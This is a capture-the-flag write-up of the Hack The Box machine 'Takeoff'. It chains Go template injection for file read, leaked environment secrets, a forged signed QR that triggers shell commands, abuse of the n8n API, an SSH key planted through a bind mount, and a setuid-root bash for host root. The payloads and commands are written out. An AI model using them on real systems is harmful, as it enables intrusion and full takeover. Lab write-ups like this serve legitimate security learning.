HTB: Takeoff write-up

- **OS:** Linux
- **Difficulty:** Hard
- **Flags:** user `[REDACTED-USER-FLAG]` · root `[REDACTED-ROOT-FLAG]`

A Go Echo web app ("HTB Airways Booking") lets you book a flight and attach free-text notes to a ticket. That notes field is evaluated as a Go `text/template` and rendered back on the ticket preview, so the context object's `File` method (`{{.File "..."}}`) gives arbitrary file read as `www-data`. Reading `/proc/self/environ` leaks the HMAC key that signs the check-in QR and an n8n API key. The QR (`qr_data`) is a gob blob signed with that key, and it carries a server-side `NotifyCmd` that `/api/check-in` runs through `sh -c`, so forging it with the leaked key is RCE as `www-data`. The leaked n8n key then drives an n8n `executeCommand` workflow on a localhost-only container, which gives root inside the n8n container. That container's `/root` is a bind mount of the host's `/home/kpark`, so I drop an SSH key and land as `kpark` on the host. Container root is host root here (no user-namespace remapping), so I set a copy of `bash` setuid-root inside the mount and run it as `kpark` for host root.

Flags and credentials are redacted as `[REDACTED-...]`.

Recon

Port scan

```
22/tcp open  ssh      OpenSSH
80/tcp open  http     nginx  -> "HTB Airways" booking app
```

Add `takeoff.htb` to `/etc/hosts`.

Web: HTB Airways Booking

A Go app using the Echo framework behind nginx, HTMX front-end. Sessions are HS256 JWTs with `iss: takeoff.htb`. Register an account and the booking flow is: pick a schedule and seat, add passenger details, "pay" with a test card, then check in. Checking in produces a boarding pass with a QR code.

method	path	notes
GET/POST	/sign-up, /sign-in	registration + login (JWT session)
POST	/book/start	`{schedule_id, seat_ids}`, issues a PNR
POST	/book/{pnr}/passengers	passenger details

method	path	notes
GET/POST	/book/{pnr}/payment	test card, confirms the booking
GET	/partials/check-in	returns the signed `qr_data` for the ticket
POST	/tickets/{pnr}/notes	free-text `notes` on a ticket
GET	/tickets/{pnr}/preview	renders the ticket + notes (and the PDF)
POST	/api/check-in	`{qr_data, gate}`, validates the QR at the gate

Two things stand out: the `notes` field is reflected on `/tickets/{pnr}/preview`, and the check-in QR is an opaque signed blob the server trusts. Both are attacker-influenced input the server parses itself. That is the way in.

Foothold

SSTI in the ticket notes (Go text/template)

The `notes` value is rendered as a Go `text/template`, not escaped as data. The template is evaluated against a context object (`notesCtx{ Request *http.Request, User *models.User }`), and Go templates let you call methods on the context. That object exposes a `File` method:

```
# notes payload
{{.File "/etc/passwd"}}
# -> root:x:0:0:root:/root:/bin/sh ...  (rendered raw on /tickets/{pnr}/preview)
```

Arbitrary file read as `www-data`. The same render path feeds the PDF, so it is not an output-encoding quirk: the field is template code.

> Note. Go `text/template` is not RCE on its own; you need a method on the data object that does something dangerous. Here `File` is enough to read anything `www-data` can, which covers everything the leak needs.

Leaking the signing key

Read the service environment through the same primitive:

```
# notes payload
{{.File "/proc/self/environ"}}
# -> ...TICKET_VALIDATION_TOKEN=[REDACTED-HMAC-KEY]...N8N_API_KEY=[REDACTED-N8N-KEY]...
```

- `TICKET_VALIDATION_TOKEN` is the HMAC-SHA256 key that signs the boarding-pass QR.
- `N8N_API_KEY` is a public-API key for an n8n instance (used later).

Understanding `qr_data`

The QR carried in `/partials/check-in` decodes to:

```
qr_data = base64( gob( interface{ *VerifyTicketAuthenticity{ Data []byte } } ) || HMAC-SHA256(key, gob_body) )
```

`Data` is JSON describing the ticket:

```
{"PNR":"...","Token":"<md5>","Seat":"...","Passenger":"...","NotifyCmd":"..."}
```

At the gate, `POST /api/check-in` verifies the trailing HMAC with `TICKET_VALIDATION_TOKEN`, looks the `PNR` + `Token` up in the DB, and for a valid existing ticket runs `NotifyCmd` server-side through `sh -c`, synchronously. `NotifyCmd` is normally a benign notification hook; nothing re-checks it.

RCE as www-data (forging the QR)

With the leaked key I can sign any `Data` I want. The only server-side gate is that `PNR` + `Token` must belong to a real ticket, so I book one legitimately, read back its real `qr_data`, keep its `PNR` / `Token`, and swap in my own `NotifyCmd`.

The gob encoding is specific: the server decodes into an `interface{}`, and the concrete type is registered under the pointer name, so the forge has to encode an interface holding `*VerifyTicketAuthenticity` (registered as `"*gob.VerifyTicketAuthenticity"`) and then append `HMAC-SHA256(key, gob_body)`.

```
# NotifyCmd: group the commands and capture output to a www-data-readable path
NotifyCmd="sh -c '( id ) > /dev/shm/.r 2>&1'"
# forge qr_data = base64(gob(iface) || HMAC), then:
#   POST /api/check-in {qr_data: <forged>, gate: WEB}
# read the output back through the SSTI file-read primitive:
{{.File "/dev/shm/.r"}}
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Code execution as `www-data`. I wrapped the whole thing (book -> extract real PNR/Token -> forge -> check-in -> read output) into one script so `rce <cmd>` returns stdout.

Privilege escalation

www-data -> root in the n8n container

`www-data` has no sudo and nothing useful in SUID or capabilities. But the host runs n8n in Docker, exposed only on `127.0.0.1:5678` through `docker-proxy`, so `www-data` on the host can reach it. The leaked `N8N_API_KEY` belongs to the n8n owner (`kpark`) and is a valid public-API key.

n8n's public API lets you create and activate a workflow, and the built-in `n8n-nodes-base.executeCommand` node runs a shell command inside the n8n container. Chain a `webhook` trigger to an `executeCommand` node, activate it, hit the webhook, and read the result:

```
# executed on the host as www-data (n8n is localhost-only)
curl -s -H "X-N8N-API-KEY: [REDACTED-N8N-KEY]" -X POST \
     http://127.0.0.1:5678/api/v1/workflows -d @workflow.json   # webhook ->
executeCommand(id)
curl -s -H "X-N8N-API-KEY: [REDACTED-N8N-KEY]" -X POST \
     http://127.0.0.1:5678/api/v1/workflows/$ID/activate
curl -s http://127.0.0.1:5678/webhook/$PATH
# -> {"exitCode":0,"stdout":"uid=0(root) gid=0(root) groups=0(root)","stderr":""}
```

Root, but inside the container (`hostname f1bfbbddcdd4`, default Docker caps, no `docker.sock`, not privileged).

Reading user.txt + the pivot

The container's `/root` is not container-local:

```
# /proc/mounts inside the container
/dev/sda4 /root ext4 rw,relatime,errors=remount-ro 0 0
```

`/root` is a bind mount of the host's `/home/kpark` (same `ext4`, no `nosuid`). Its entries are owned by uid `1001` (kpark), and `user.txt` sits there:

```
user.txt -> [REDACTED-USER-FLAG]
```

container root -> kpark (host) via SSH

kpark has no `~/.ssh`, and container root can write into the mount. Drop an authorized key (chown it to `1001` so sshd's StrictModes accepts it):

```
# inside the n8n container (= host /home/kpark)
mkdir -p /root/.ssh
echo 'ssh-ed25519 AAAA...attacker-key...' > /root/.ssh/authorized_keys
chown -R 1001:1001 /root/.ssh; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys
```

```
ssh -i key kpark@takeoff.htb 'id; hostname'
# -> uid=1001(kpark) gid=1001(kpark) groups=1001(kpark)  /  takeoff.htb
```

Now on the host as `kpark`. No sudo, not in the `docker` group.

kpark -> root (container root == host root)

Docker here uses no user-namespace remapping, so container uid 0 is host uid 0. Anything the container writes into `/root` (= `/home/kpark`) lands on the host owned by host-root, and `/home` is on `/` with no `nosuid`. So: copy a shell as `kpark`, set it setuid-root from the container, run it as `kpark`.

```
# as kpark (host)
cp /bin/bash ~/rootbash
```

```
# as root inside the n8n container (same file via the bind mount)
chown root:root /root/rootbash
chmod 4755 /root/rootbash
# -> -rwsr-xr-x 1 root root ... /root/rootbash
```

```
# as kpark (host)
~/rootbash -p -c 'id; cat /root/root.txt'
# -> uid=1001(kpark) euid=0(root) ...
```

```
root.txt -> [REDACTED-ROOT-FLAG]
```

Attack chain

```
SSTI in ticket notes (Go text/template, {{.File}})
  -> arbitrary file read as www-data
  -> leak TICKET_VALIDATION_TOKEN (QR HMAC key) + N8N_API_KEY from /proc/self/environ
  -> forge signed qr_data with a chosen NotifyCmd -> RCE as www-data (/api/check-in)
  -> n8n public API (localhost:5678) + leaked key -> executeCommand workflow -> root in
n8n container
  -> container /root is a bind mount of host /home/kpark
     -> write kpark authorized_keys -> SSH as kpark + read user.txt
     -> container root == host root (no userns): setuid-root bash in the mount
     -> run as kpark -> root.txt
```

Four design bugs stack up: a free-text field evaluated as a template instead of as data, secrets handed to that process through its environment, a server-trusted signed blob whose signing key leaked, and an n8n container that is both reachable with a leaked key and root-equivalent to the host through a bind-mounted home directory.